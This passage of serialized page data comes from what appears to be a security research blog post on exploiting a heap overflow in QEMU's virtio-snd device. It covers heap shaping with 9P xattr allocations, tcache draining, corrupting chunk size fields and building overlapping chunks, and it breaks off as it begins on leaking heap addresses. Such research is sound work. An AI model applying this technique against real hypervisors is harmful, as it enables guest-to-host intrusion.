pdu_unmarshal",{"type":22,"tag":264,"props":129489,"children":129490},{"style":1539},[129491],{"type":27,"value":129492},"(pdu, offset, ",{"type":22,"tag":264,"props":129494,"children":129495},{"style":1597},[129496],{"type":27,"value":129497},"\"dsqd\"",{"type":22,"tag":264,"props":129499,"children":129500},{"style":1539},[129501],{"type":27,"value":4380},{"type":22,"tag":264,"props":129503,"children":129504},{"style":4309},[129505],{"type":27,"value":4413},{"type":22,"tag":264,"props":129507,"children":129508},{"style":1539},[129509],{"type":27,"value":129510},"fid, ",{"type":22,"tag":264,"props":129512,"children":129513},{"style":4309},[129514],{"type":27,"value":4413},{"type":22,"tag":264,"props":129516,"children":129517},{"style":1539},[129518],{"type":27,"value":129519},"name, ",{"type":22,"tag":264,"props":129521,"children":129522},{"style":4309},[129523],{"type":27,"value":4413},{"type":22,"tag":264,"props":129525,"children":129526},{"style":1539},[129527],{"type":27,"value":128270},{"type":22,"tag":264,"props":129529,"children":129530},{"style":4309},[129531],{"type":27,"value":4413},{"type":22,"tag":264,"props":129533,"children":129534},{"style":1539},[129535],{"type":27,"value":129536},"flags);\n",{"type":22,"tag":264,"props":129538,"children":129539},{"class":1534,"line":4948},[129540,129544,129549,129553,129557],{"type":22,"tag":264,"props":129541,"children":129542},{"style":4328},[129543],{"type":27,"value":13578},{"type":22,"tag":264,"props":129545,"children":129546},{"style":1539},[129547],{"type":27,"value":129548}," (err ",{"type":22,"tag":264,"props":129550,"children":129551},{"style":4309},[129552],{"type":27,"value":7097},{"type":22,"tag":264,"props":129554,"children":129555},{"style":4344},[129556],{"type":27,"value":4347},{"type":22,"tag":264,"props":129558,"children":129559},{"style":1539},[129560],{"type":27,"value":16103},{"type":22,"tag":264,"props":129562,"children":129563},{"class":1534,"line":4957},[129564,129569],{"type":22,"tag":264,"props":129565,"children":129566},{"style":4328},[129567],{"type":27,"value":129568},"        goto",{"type":22,"tag":264,"props":129570,"children":129571},{"style":1539},[129572],{"type":27,"value":129573}," out_nofid;\n",{"type":22,"tag":264,"props":129575,"children":129576},{"class":1534,"line":4980},[129577],{"type":22,"tag":264,"props":129578,"children":129579},{"style":1539},[129580],{"type":27,"value":1674},{"type":22,"tag":264,"props":129582,"children":129583},{"class":1534,"line":4989},[129584],{"type":22,"tag":264,"props":129585,"children":129586},{"emptyLinePlaceholder":17},[129587],{"type":27,"value":4986},{"type":22,"tag":264,"props":129589,"children":129590},{"class":1534,"line":4998},[129591],{"type":22,"tag":264,"props":129592,"children":129593},{"style":1539},[129594],{"type":27,"value":106122},{"type":22,"tag":264,"props":129596,"children":129597},{"class":1534,"line":5067},[129598],{"type":22,"tag":264,"props":129599,"children":129600},{"emptyLinePlaceholder":17},[129601],{"type":27,"value":4986},{"type":22,"tag":264,"props":129603,"children":129604},{"class":1534,"line":5075},[129605,129609,129613,129617],{"type":22,"tag":264,"props":129606,"children":129607},{"style":4328},[129608],{"type":27,"value":13578},{"type":22,"tag":264,"props":129610,"children":129611},{"style":1539},[129612],{"type":27,"value":128371},{"type":22,"tag":264,"props":129614,"children":129615},{"style":4309},[129616],{"type":27,"value":11760},{"type":22,"tag":264,"props":129618,"children":129619},{"style":1539},[129620],{"type":27,"value":129621}," P9_XATTR_SIZE_MAX) {\n",{"type":22,"tag":264,"props":129623,"children":129624},{"class":1534,"line":5105},[129625,129630,129634,129638],{"type":22,"tag":264,"props":129626,"children":129627},{"style":1539},[129628],{"type":27,"value":129629},"        err ",{"type":22,"tag":264,"props":129631,"children":129632},{"style":4309},[129633],{"type":27,"value":429},{"type":22,"tag":264,"props":129635,"children":129636},{"style":4309},[129637],{"type":27,"value":52576},{"type":22,"tag":264,"props":129639,"children":129640},{"style":1539},[129641],{"type":27,"value":129642},"E2BIG;\n",{"type":22,"tag":264,"props":129644,"children":129645},{"class":1534,"line":5113},[129646,129650],{"type":22,"tag":264,"props":129647,"children":129648},{"style":4328},[129649],{"type":27,"value":129568},{"type":22,"tag":264,"props":129651,"children":129652},{"style":1539},[129653],{"type":27,"value":129573},{"type":22,"tag":264,"props":129655,"children":129656},{"class":1534,"line":5145},[129657],{"type":22,"tag":264,"props":129658,"children":129659},{"style":1539},[129660],{"type":27,"value":1674},{"type":22,"tag":264,"props":129662,"children":129663},{"class":1534,"line":5153},[129664],{"type":22,"tag":264,"props":129665,"children":129666},{"emptyLinePlaceholder":17},[129667],{"type":27,"value":4986},{"type":22,"tag":264,"props":129669,"children":129670},{"class":1534,"line":5213},[129671],{"type":22,"tag":264,"props":129672,"children":129673},{"style":1539},[129674],{"type":27,"value":106122},{"type":22,"tag":264,"props":129676,"children":129677},{"class":1534,"line":10343},[129678],{"type":22,"tag":264,"props":129679,"children":129680},{"emptyLinePlaceholder":17},[129681],{"type":27,"value":4986},{"type":22,"tag":264,"props":129683,"children":129684},{"class":1534,"line":10361},[129685,129689,129693,129697,129702,129706,129710,129714,129719,129723,129727],{"type":22,"tag":264,"props":129686,"children":129687},{"style":4401},[129688],{"type":27,"value":129457},{"type":22,"tag":264,"props":129690,"children":129691},{"style":1539},[129692],{"type":27,"value":2660},{"type":22,"tag":264,"props":129694,"children":129695},{"style":4309},[129696],{"type":27,"value":4413},{"type":22,"tag":264,"props":129698,"children":129699},{"style":1549},[129700],{"type":27,"value":129701},"xattr_fidp",{"type":22,"tag":264,"props":129703,"children":129704},{"style":1539},[129705],{"type":27,"value":15056},{"type":22,"tag":264,"props":129707,"children":129708},{"style":1549},[129709],{"type":27,"value":38297},{"type":22,"tag":264,"props":129711,"children":129712},{"style":1539},[129713],{"type":27,"value":210},{"type":22,"tag":264,"props":129715,"children":129716},{"style":1549},[129717],{"type":27,"value":129718},"xattr",{"type":22,"tag":264,"props":129720,"children":129721},{"style":1539},[129722],{"type":27,"value":210},{"type":22,"tag":264,"props":129724,"children":129725},{"style":1549},[129726],{"type":27,"value":49818},{"type":22,"tag":264,"props":129728,"children":129729},{"style":1539},[129730],{"type":27,"value":5142},{"type":22,"tag":264,"props":129732,"children":129733},{"class":1534,"line":10406},[129734,129739,129743,129747,129751,129755,129759,129763,129767,129771,129775,129779,129783],{"type":22,"tag":264,"props":129735,"children":129736},{"style":4401},[129737],{"type":27,"value":129738},"    v9fs_string_copy",{"type":22,"tag":264,"props":129740,"children":129741},{"style":1539},[129742],{"type":27,"value":2660},{"type":22,"tag":264,"props":129744,"children":129745},{"style":4309},[129746],{"type":27,"value":4413},{"type":22,"tag":264,"props":129748,"children":129749},{"style":1549},[129750],{"type":27,"value":129701},{"type":22,"tag":264,"props":129752,"children":129753},{"style":1539},[129754],{"type":27,"value":15056},{"type":22,"tag":264,"props":129756,"children":129757},{"style":1549},[129758],{"type":27,"value":38297},{"type":22,"tag":264,"props":129760,"children":129761},{"style":1539},[129762],{"type":27,"value":210},{"type":22,"tag":264,"props":129764,"children":129765},{"style":1549},[129766],{"type":27,"value":129718},{"type":22,"tag":264,"props":129768,"children":129769},{"style":1539},[129770],{"type":27,"value":210},{"type":22,"tag":264,"props":129772,"children":129773},{"style":1549},[129774],{"type":27,"value":49818},{"type":22,"tag":264,"props":129776,"children":129777},{"style":1539},[129778],{"type":27,"value":4380},{"type":22,"tag":264,"props":129780,"children":129781},{"style":4309},[129782],{"type":27,"value":4413},{"type":22,"tag":264,"props":129784,"children":129785},{"style":1539},[129786],{"type":27,"value":129470},{"type":22,"tag":264,"props":129788,"children":129789},{"class":1534,"line":10512},[129790,129795,129799,129803,129807,129811,129815,129819,129823,129827],{"type":22,"tag":264,"props":129791,"children":129792},{"style":1549},[129793],{"type":27,"value":129794},"    xattr_fidp",{"type":22,"tag":264,"props":129796,"children":129797},{"style":1539},[129798],{"type":27,"value":15056},{"type":22,"tag":264,"props":129800,"children":129801},{"style":1549},[129802],{"type":27,"value":38297},{"type":22,"tag":264,"props":129804,"children":129805},{"style":1539},[129806],{"type":27,"value":210},{"type":22,"tag":264,"props":129808,"children":129809},{"style":1549},[129810],{"type":27,"value":129718},{"type":22,"tag":264,"props":129812,"children":129813},{"style":1539},[129814],{"type":27,"value":210},{"type":22,"tag":264,"props":129816,"children":129817},{"style":1549},[129818],{"type":27,"value":40466},{"type":22,"tag":264,"props":129820,"children":129821},{"style":4309},[129822],{"type":27,"value":4312},{"type":22,"tag":264,"props":129824,"children":129825},{"style":4401},[129826],{"type":27,"value":125473},{"type":22,"tag":264,"props":129828,"children":129829},{"style":1539},[129830],{"type":27,"value":129831},"(size);\n",{"type":22,"tag":264,"props":129833,"children":129834},{"class":1534,"line":24810},[129835],{"type":22,"tag":264,"props":129836,"children":129837},{"style":1539},[129838],{"type":27,"value":1692},{"type":22,"tag":23,"props":129840,"children":129841},{},[129842,129844,129849,129851,129856,129857,129862,129864,129869],{"type":27,"value":129843},"Because the ",{"type":22,"tag":257,"props":129845,"children":129847},{"className":129846},[],[129848],{"type":27,"value":129205},{"type":27,"value":129850}," field is handled as a string, embedded null bytes are not preserved, which makes it less useful for our purposes. It also introduces some extra allocation noise into the heap, since creating an xattr allocates both ",{"type":22,"tag":257,"props":129852,"children":129854},{"className":129853},[],[129855],{"type":27,"value":129205},{"type":27,"value":12290},{"type":22,"tag":257,"props":129858,"children":129860},{"className":129859},[],[129861],{"type":27,"value":129212},{"type":27,"value":129863},", not just the ",{"type":22,"tag":257,"props":129865,"children":129867},{"className":129866},[],[129868],{"type":27,"value":129212},{"type":27,"value":129870}," we actually care about. But we will get around this later in the blog post.",{"type":22,"tag":23,"props":129872,"children":129873},{},[129874,129875,129880],{"type":27,"value":17914},{"type":22,"tag":257,"props":129876,"children":129878},{"className":129877},[],[129879],{"type":27,"value":129212},{"type":27,"value":129881}," field, however, is much more interesting: it gives us a guest-controlled heap allocation of an arbitrary size. Each of these allocations is tied to its own xattr FID, which means it stays alive for as long as that FID remains live. In practice, this gives us a large number of persistent host-side heap objects that we can manage individually.",{"type":22,"tag":23,"props":129883,"children":129884},{},[129885,129887,129892,129894,129900,129902,129908,129910,129916],{"type":27,"value":129886},"Once allocated, we can write arbitrary bytes into the ",{"type":22,"tag":257,"props":129888,"children":129890},{"className":129889},[],[129891],{"type":27,"value":129212},{"type":27,"value":129893}," buffer through a ",{"type":22,"tag":257,"props":129895,"children":129897},{"className":129896},[],[129898],{"type":27,"value":129899},"P9_TWRITE",{"type":27,"value":129901}," request on the corresponding xattr FID. We can also read the contents back with ",{"type":22,"tag":257,"props":129903,"children":129905},{"className":129904},[],[129906],{"type":27,"value":129907},"P9_TREAD",{"type":27,"value":129909},", which is useful later when turning overlap into stronger primitives. Finally, we can free any individual allocation at any time by issuing a ",{"type":22,"tag":257,"props":129911,"children":129913},{"className":129912},[],[129914],{"type":27,"value":129915},"P9_TCLUNK",{"type":27,"value":129917}," request on that same FID.",{"type":22,"tag":23,"props":129919,"children":129920},{},[129921,129923,129929],{"type":27,"value":129922},"This gives us a very strong heap shaping primitive in QEMU - allocate on demand, choose the size precisely (up to ",{"type":22,"tag":257,"props":129924,"children":129926},{"className":129925},[],[129927],{"type":27,"value":129928},"65536",{"type":27,"value":129930}," bytes, which is more than enough here), fully control the contents of the allocation, keep it alive as long as needed, and free it selectively later.",{"type":22,"tag":181,"props":129932,"children":129934},{"id":129933},"setting-the-heap-layout",[129935],{"type":27,"value":129936},"Setting the Heap Layout",{"type":22,"tag":23,"props":129938,"children":129939},{},[129940,129942,129947],{"type":27,"value":129941},"Ideally, we want a contiguous heap region consisting only of ",{"type":22,"tag":257,"props":129943,"children":129945},{"className":129944},[],[129946],{"type":27,"value":129212},{"type":27,"value":129948}," allocations, like this:",{"type":22,"tag":618,"props":129950,"children":129952},{"code":129951},"   0x200      0x200      0x200      0x200      0x200\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value B | .value C | .value D | .value E |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[129953],{"type":22,"tag":257,"props":129954,"children":129955},{"__ignoreMap":7},[129956],{"type":27,"value":129951},{"type":22,"tag":23,"props":129958,"children":129959},{},[129960,129962,129967,129969,129974,129976,129981],{"type":27,"value":129961},"This lets us later create holes by freeing every other ",{"type":22,"tag":257,"props":129963,"children":129965},{"className":129964},[],[129966],{"type":27,"value":129212},{"type":27,"value":129968}," allocation. Those freed chunks enter the freelist, allowing the overflowing virtio-snd buffer to be allocated into one of those holes and overflow into the ",{"type":22,"tag":257,"props":129970,"children":129972},{"className":129971},[],[129973],{"type":27,"value":125560},{"type":27,"value":129975}," field of the next live ",{"type":22,"tag":257,"props":129977,"children":129979},{"className":129978},[],[129980],{"type":27,"value":129212},{"type":27,"value":129982}," chunk.",{"type":22,"tag":23,"props":129984,"children":129985},{},[129986],{"type":27,"value":129987},"Of course, we do not know the initial state of the heap. In practice, it is fragmented and already contains many freelist entries. Fortunately, this is not a problem for glibc, since the allocator is deterministic. By allocating enough chunks of the size we want, malloc will first consume any suitable entries already present in the freelist. Once those are exhausted, subsequent allocations will be served from the top chunk in a contiguous fashion, giving us the continuous region we need.",{"type":22,"tag":23,"props":129989,"children":129990},{},[129991,129993,129998,130000,130005,130007,130012,130014,130019],{"type":27,"value":129992},"As mentioned earlier, ",{"type":22,"tag":257,"props":129994,"children":129996},{"className":129995},[],[129997],{"type":27,"value":129249},{"type":27,"value":129999}," always allocates two chunks: one for ",{"type":22,"tag":257,"props":130001,"children":130003},{"className":130002},[],[130004],{"type":27,"value":129205},{"type":27,"value":130006}," and one for ",{"type":22,"tag":257,"props":130008,"children":130010},{"className":130009},[],[130011],{"type":27,"value":129212},{"type":27,"value":130013},". We want to avoid having ",{"type":22,"tag":257,"props":130015,"children":130017},{"className":130016},[],[130018],{"type":27,"value":129205},{"type":27,"value":130020}," chunks inside our main contiguous region. There are two ways to approach this:",{"type":22,"tag":1867,"props":130022,"children":130023},{},[130024,130036],{"type":22,"tag":1871,"props":130025,"children":130026},{},[130027,130029,130034],{"type":27,"value":130028},"Make ",{"type":22,"tag":257,"props":130030,"children":130032},{"className":130031},[],[130033],{"type":27,"value":129205},{"type":27,"value":130035}," larger than the mmap threshold, so it is allocated from a separate mapping rather than from the main heap. This would give us the layout we want, but at the cost of dramatically increasing memory usage during heap spraying.",{"type":22,"tag":1871,"props":130037,"children":130038},{},[130039,130041,130046,130048,130053,130055,130060],{"type":27,"value":130040},"Prepare a separate region whose sole purpose is to absorb ",{"type":22,"tag":257,"props":130042,"children":130044},{"className":130043},[],[130045],{"type":27,"value":129205},{"type":27,"value":130047},"-sized allocations. Later, when we start building the main contiguous region, malloc will satisfy ",{"type":22,"tag":257,"props":130049,"children":130051},{"className":130050},[],[130052],{"type":27,"value":129205},{"type":27,"value":130054}," allocations from that separate freelist instead of placing them next to our ",{"type":22,"tag":257,"props":130056,"children":130058},{"className":130057},[],[130059],{"type":27,"value":129212},{"type":27,"value":130061}," chunks.",{"type":22,"tag":20197,"props":130063,"children":130065},{"id":130064},"separating-name-allocations",[130066],{"type":27,"value":130067},"Separating .name allocations",{"type":22,"tag":23,"props":130069,"children":130070},{},[130071,130073,130078,130080,130085],{"type":27,"value":130072},"We chose the second option. However, it is not as simple as issuing ",{"type":22,"tag":257,"props":130074,"children":130076},{"className":130075},[],[130077],{"type":27,"value":129249},{"type":27,"value":130079}," for N ",{"type":22,"tag":257,"props":130081,"children":130083},{"className":130082},[],[130084],{"type":27,"value":129205},{"type":27,"value":130086},"-sized allocations and then freeing them.",{"type":22,"tag":23,"props":130088,"children":130089},{},[130090,130092,130097,130098,130103,130104,130109,130111,130116,130118,130123],{"type":27,"value":130091},"At this point, we already know that ",{"type":22,"tag":257,"props":130093,"children":130095},{"className":130094},[],[130096],{"type":27,"value":129249},{"type":27,"value":129999},{"type":22,"tag":257,"props":130099,"children":130101},{"className":130100},[],[130102],{"type":27,"value":129205},{"type":27,"value":130006},{"type":22,"tag":257,"props":130105,"children":130107},{"className":130106},[],[130108],{"type":27,"value":129212},{"type":27,"value":130110},". If we simply call it with ",{"type":22,"tag":257,"props":130112,"children":130114},{"className":130113},[],[130115],{"type":27,"value":129212},{"type":27,"value":130117}," sized the same as ",{"type":22,"tag":257,"props":130119,"children":130121},{"className":130120},[],[130122],{"type":27,"value":129205},{"type":27,"value":130124},", we get a layout like this:",{"type":22,"tag":618,"props":130126,"children":130128},{"code":130127},"    0x20       0x20       0x20       0x20       0x20\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .name  A | .value A | .name  B | .value B | .name  C |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[130129],{"type":22,"tag":257,"props":130130,"children":130131},{"__ignoreMap":7},[130132],{"type":27,"value":130127},{"type":22,"tag":23,"props":130134,"children":130135},{},[130136,130138,130143,130145,130151,130153,130159,130161,130166,130168,130173,130175,130180],{"type":27,"value":130137},"With that heap state, issuing a ",{"type":22,"tag":257,"props":130139,"children":130141},{"className":130140},[],[130142],{"type":27,"value":129915},{"type":27,"value":130144}," request would first free ",{"type":22,"tag":257,"props":130146,"children":130148},{"className":130147},[],[130149],{"type":27,"value":130150},".name A",{"type":27,"value":130152}," and then ",{"type":22,"tag":257,"props":130154,"children":130156},{"className":130155},[],[130157],{"type":27,"value":130158},".value A",{"type":27,"value":130160},". When ",{"type":22,"tag":257,"props":130162,"children":130164},{"className":130163},[],[130165],{"type":27,"value":130158},{"type":27,"value":130167}," is freed, the allocator sees that the preceding chunk ",{"type":22,"tag":257,"props":130169,"children":130171},{"className":130170},[],[130172],{"type":27,"value":130150},{"type":27,"value":130174}," is already free and immediately consolidates the two. As a result, instead of ending up with many reusable ",{"type":22,"tag":257,"props":130176,"children":130178},{"className":130177},[],[130179],{"type":27,"value":129205},{"type":27,"value":130181},"-sized chunks in the freelist, we would just create a large consolidated free chunk, which is not what we want.",{"type":22,"tag":23,"props":130183,"children":130184},{},[130185],{"type":27,"value":130186},"To avoid that, we take advantage of the fact that chunks freed into tcache are not consolidated. It is also important to note that tcache maintains a separate freelist for each size class within the tcache range, and in this glibc version each such freelist can hold up to 16 entries.",{"type":22,"tag":23,"props":130188,"children":130189},{},[130190,130192,130197,130199,130204,130206,130211,130213,130219,130221,130226,130228,130234],{"type":27,"value":130191},"We begin by draining the tcache freelist for every relevant size class by allocating 16 chunks of each size. Throughout this process, the ",{"type":22,"tag":257,"props":130193,"children":130195},{"className":130194},[],[130196],{"type":27,"value":129205},{"type":27,"value":130198}," allocation remains fixed at size ",{"type":22,"tag":257,"props":130200,"children":130202},{"className":130201},[],[130203],{"type":27,"value":106388},{"type":27,"value":130205},". We first allocate 16 xattrs whose ",{"type":22,"tag":257,"props":130207,"children":130209},{"className":130208},[],[130210],{"type":27,"value":129212},{"type":27,"value":130212}," size is ",{"type":22,"tag":257,"props":130214,"children":130216},{"className":130215},[],[130217],{"type":27,"value":130218},"0x30",{"type":27,"value":130220},". After that, we allocate another 16 xattrs, this time with ",{"type":22,"tag":257,"props":130222,"children":130224},{"className":130223},[],[130225],{"type":27,"value":129212},{"type":27,"value":130227}," size ",{"type":22,"tag":257,"props":130229,"children":130231},{"className":130230},[],[130232],{"type":27,"value":130233},"0x40",{"type":27,"value":130235},", and continue in the same way for each tcache size class.",{"type":22,"tag":23,"props":130237,"children":130238},{},[130239],{"type":27,"value":130240},"This yields the following layout:",{"type":22,"tag":618,"props":130242,"children":130244},{"code":130243},"    0x20        0x30         0x20        0x30\n+---------+--------------+---------+--------------+- - - - -\n|         |              |         |              |\n| .name A |   .value A   | .name B |   .value B   |  . . .\n|         |              |         |              |\n+---------+--------------+---------+--------------+- - - - -\n\n    0x20          0x40           0x20           0x40\n+---------+------------------+---------+------------------+- - - - -\n|         |                  |         |                  |\n| .name C |     .value C     | .name D |     .value D     |  . . .\n|         |                  |         |                  |\n+---------+------------------+---------+------------------+- - - - -\n",[130245],{"type":22,"tag":257,"props":130246,"children":130247},{"__ignoreMap":7},[130248],{"type":27,"value":130243},{"type":22,"tag":23,"props":130250,"children":130251},{},[130252,130254,130259,130261,130266,130268,130273,130275,130280,130282,130287,130289,130294,130295,130300,130302,130307,130309,130314,130316,130321,130323,130328,130330,130335],{"type":27,"value":130253},"At this point, we can free all allocations created during this phase. Because we emptied every tcache freelist, the first 16 ",{"type":22,"tag":257,"props":130255,"children":130257},{"className":130256},[],[130258],{"type":27,"value":129205},{"type":27,"value":130260}," chunks end up in the ",{"type":22,"tag":257,"props":130262,"children":130264},{"className":130263},[],[130265],{"type":27,"value":106388},{"type":27,"value":130267}," tcache bin, along with the interleaved ",{"type":22,"tag":257,"props":130269,"children":130271},{"className":130270},[],[130272],{"type":27,"value":129212},{"type":27,"value":130274}," chunks of size ",{"type":22,"tag":257,"props":130276,"children":130278},{"className":130277},[],[130279],{"type":27,"value":130218},{"type":27,"value":130281},". The next 16 ",{"type":22,"tag":257,"props":130283,"children":130285},{"className":130284},[],[130286],{"type":27,"value":129205},{"type":27,"value":130288}," chunks are interleaved with ",{"type":22,"tag":257,"props":130290,"children":130292},{"className":130291},[],[130293],{"type":27,"value":129212},{"type":27,"value":130274},{"type":22,"tag":257,"props":130296,"children":130298},{"className":130297},[],[130299],{"type":27,"value":130233},{"type":27,"value":130301},"; when freed, those ",{"type":22,"tag":257,"props":130303,"children":130305},{"className":130304},[],[130306],{"type":27,"value":129212},{"type":27,"value":130308}," chunks also go into their corresponding tcache bin instead of consolidating with the adjacent free ",{"type":22,"tag":257,"props":130310,"children":130312},{"className":130311},[],[130313],{"type":27,"value":129205},{"type":27,"value":130315}," chunks. Repeating this across all tcache sizes leaves us with a large region of free ",{"type":22,"tag":257,"props":130317,"children":130319},{"className":130318},[],[130320],{"type":27,"value":129205},{"type":27,"value":130322},"-sized chunks that will later be served to the ",{"type":22,"tag":257,"props":130324,"children":130326},{"className":130325},[],[130327],{"type":27,"value":129205},{"type":27,"value":130329}," allocations of the main contiguous spray - leaving us with the desired layout of adjacent ",{"type":22,"tag":257,"props":130331,"children":130333},{"className":130332},[],[130334],{"type":27,"value":129212},{"type":27,"value":130061},{"type":22,"tag":181,"props":130337,"children":130339},{"id":130338},"corrupting-the-size",[130340],{"type":27,"value":130341},"Corrupting the Size",{"type":22,"tag":23,"props":130343,"children":130344},{},[130345,130347,130352,130354,130359,130361,130366,130368,130373,130374,130379],{"type":27,"value":130346},"The input format is guest-controlled, and we choose ",{"type":22,"tag":257,"props":130348,"children":130350},{"className":130349},[],[130351],{"type":27,"value":4725},{"type":27,"value":130353}," (unsigned 8-bit PCM). As noted earlier, silence in ",{"type":22,"tag":257,"props":130355,"children":130357},{"className":130356},[],[130358],{"type":27,"value":4725},{"type":27,"value":130360}," is centered at ",{"type":22,"tag":257,"props":130362,"children":130364},{"className":130363},[],[130365],{"type":27,"value":30753},{"type":27,"value":130367}," (rather than ",{"type":22,"tag":257,"props":130369,"children":130371},{"className":130370},[],[130372],{"type":27,"value":127467},{"type":27,"value":127454},{"type":22,"tag":257,"props":130375,"children":130377},{"className":130376},[],[130378],{"type":27,"value":127445},{"type":27,"value":130380},"), which biases this uncontrolled overflow toward larger byte values and increases the chance that the corrupted size grows.",{"type":22,"tag":23,"props":130382,"children":130383},{},[130384,130386,130391],{"type":27,"value":130385},"As we already concluded, ",{"type":22,"tag":257,"props":130387,"children":130389},{"className":130388},[],[130390],{"type":27,"value":126910},{"type":27,"value":130392}," is called with the amount:",{"type":22,"tag":618,"props":130394,"children":130396},{"code":130395},"MIN(available, (stream->params.period_bytes - buffer->size))\n",[130397],{"type":22,"tag":257,"props":130398,"children":130399},{"__ignoreMap":7},[130400],{"type":27,"value":130395},{"type":22,"tag":23,"props":130402,"children":130403},{},[130404,130406,130411,130413,130418],{"type":27,"value":130405},"And as mentioned earlier, ",{"type":22,"tag":257,"props":130407,"children":130409},{"className":130408},[],[130410],{"type":27,"value":126941},{"type":27,"value":130412}," is fully guest-controlled, so we can set it such that the overflow reaches exactly far enough to overwrite only the lowest byte of the next chunk's ",{"type":22,"tag":257,"props":130414,"children":130416},{"className":130415},[],[130417],{"type":27,"value":125560},{"type":27,"value":59647},{"type":22,"tag":23,"props":130420,"children":130421},{},[130422,130424,130429,130431,130436],{"type":27,"value":130423},"With the desired heap layout of repeated ",{"type":22,"tag":257,"props":130425,"children":130427},{"className":130426},[],[130428],{"type":27,"value":129114},{"type":27,"value":130430},"-sized ",{"type":22,"tag":257,"props":130432,"children":130434},{"className":130433},[],[130435],{"type":27,"value":129212},{"type":27,"value":130437}," chunks in place, we can then free every other one:",{"type":22,"tag":618,"props":130439,"children":130441},{"code":130440},"               Free                  Free\n+----------+----------+----------+----------+----------+\n|          |..........|          |..........|          |\n| .value A |..........| .value C |..........| .value E |\n|          |..........|          |..........|          |\n+----------+----------+----------+----------+----------+\n",[130442],{"type":22,"tag":257,"props":130443,"children":130444},{"__ignoreMap":7},[130445],{"type":27,"value":130440},{"type":22,"tag":23,"props":130447,"children":130448},{},[130449,130451,130456],{"type":27,"value":130450},"We then allocate the overflowing virtio-snd buffer into one of those holes, start the stream, and let it overflow into the size field of the ",{"type":22,"tag":257,"props":130452,"children":130454},{"className":130453},[],[130455],{"type":27,"value":129212},{"type":27,"value":130457}," chunk directly next to it:",{"type":22,"tag":618,"props":130459,"children":130461},{"code":130460},"           +----------+\n           |          |              Free\n+----------|  buffer  |----------+----------+----------+\n|          |          |          |..........|          |\n| .value A +----------+ .value C |..........| .value E |\n|          |          |          |..........|          |\n+----------+          +----------+----------+----------+\n",[130462],{"type":22,"tag":257,"props":130463,"children":130464},{"__ignoreMap":7},[130465],{"type":27,"value":130460},{"type":22,"tag":23,"props":130467,"children":130468},{},[130469,130471,130476,130478,130483],{"type":27,"value":130470},"After the overflow, the virtio-snd buffer is freed by QEMU. We then refill all of the holes created for the virtio-snd buffer by allocating new ",{"type":22,"tag":257,"props":130472,"children":130474},{"className":130473},[],[130475],{"type":27,"value":129114},{"type":27,"value":130477},"-sized chunks in their place. At that point, we are left with a layout similar to the original one, except that one ",{"type":22,"tag":257,"props":130479,"children":130481},{"className":130480},[],[130482],{"type":27,"value":129212},{"type":27,"value":130484}," chunk now has a corrupted and likely oversized size field:",{"type":22,"tag":618,"props":130486,"children":130488},{"code":130487},"                      Oversized chunk\n                             |\n                      +------+------+\n                      |             |\n                      v             v\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value X | .value C | .value Y | .value E |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[130489],{"type":22,"tag":257,"props":130490,"children":130491},{"__ignoreMap":7},[130492],{"type":27,"value":130487},{"type":22,"tag":23,"props":130494,"children":130495},{},[130496,130498,130503],{"type":27,"value":130497},"At this point, we can free the chunks left over from the initial contiguous spray. Because one chunk now has a corrupted, larger size field, freeing it causes a single oversized chunk to be inserted into one of the tcache bins in the range ",{"type":22,"tag":257,"props":130499,"children":130501},{"className":130500},[],[130502],{"type":27,"value":129129},{"type":27,"value":5785},{"type":22,"tag":618,"props":130505,"children":130507},{"code":130506},"                           Free\n                        0x210-0x2f0\n                             |\n                      +------+------+\n   Free               |             |          Free\n   0x200              v             v          0x200\n+----------+----------+----------+----------+----------+\n|..........|          |..........|          |..........|\n|..........| .value X |..........| .value Y |..........|\n|..........|          |..........|          |..........|\n+----------+----------+----------+----------+----------+\n",[130508],{"type":22,"tag":257,"props":130509,"children":130510},{"__ignoreMap":7},[130511],{"type":27,"value":130506},{"type":22,"tag":23,"props":130513,"children":130514},{},[130515,130517,130522],{"type":27,"value":130516},"We then once again fill the remaining holes and recover the oversized chunk by simply allocating every size in the possible range (",{"type":22,"tag":257,"props":130518,"children":130520},{"className":130519},[],[130521],{"type":27,"value":129129},{"type":27,"value":22049},{"type":22,"tag":618,"props":130524,"children":130526},{"code":130525},"                         .value B\n                      +-------------+\n                      |             |\n                      v             v\n+----------+----------+----------+--+-------+----------+\n|          |          |          |//|       |          |\n| .value A | .value X |          |//|       | .value C |\n|          |          |          |//|       |          |\n+----------+----------+----------+--+-------+----------+\n                                 ^          ^\n                                 |          |\n                                 +----------+\n                                   .value Y\n",[130527],{"type":22,"tag":257,"props":130528,"children":130529},{"__ignoreMap":7},[130530],{"type":27,"value":130525},{"type":22,"tag":23,"props":130532,"children":130533},{},[130534,130536,130542],{"type":27,"value":130535},"After reclaiming it, we use that chunk to overwrite the size of the next chunk again, but this time we set it to ",{"type":22,"tag":257,"props":130537,"children":130539},{"className":130538},[],[130540],{"type":27,"value":130541},"0x400",{"type":27,"value":130543}," - this gives us a chunk that fully overlaps the chunk next to it, leaving us in the following final state:",{"type":22,"tag":618,"props":130545,"children":130547},{"code":130546},"                                    .value Y extended\n                                            |\n                                 +----------+----------+\n                                 |                     |\n                                 v                     v\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value X | .value B | .value Y | .value C |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[130548],{"type":22,"tag":257,"props":130549,"children":130550},{"__ignoreMap":7},[130551],{"type":27,"value":130546},{"type":22,"tag":181,"props":130553,"children":130555},{"id":130554},"leaking-a-heap-address",[130556],{"type":27,"value":130557},"Leaking a Heap Address",{"type":22,"tag":23,"props":130559,"children":130560},{},[130561],{"type":27,"value":130562},"We begin by leaking a heap address, since that is the simplest target at this stage. More specifically, we want the address of a heap chunk whose contents we control. Once we have that, we gain a region of memory at a known address with controlled contents, which is useful for placing fake objects or reclaiming the same location with other objects and later inspecting them with an arbitrary read primitive.",{"type":22,"tag":23,"props":130564,"children":130565},{},[130566,130568,130574],{"type":27,"value":130567},"To do this, we abuse the forward (",{"type":22,"tag":257,"props":130569,"children":130571},{"className":130570},[],[130572],{"type":27,"value":130573},"fd",{"type":27,"value":130575},") pointers used by tcache freelists. Modern glibc protects these pointers with a mitigation known as safe-linking. Instead of storing the next free chunk pointer directly, glibc encodes it by 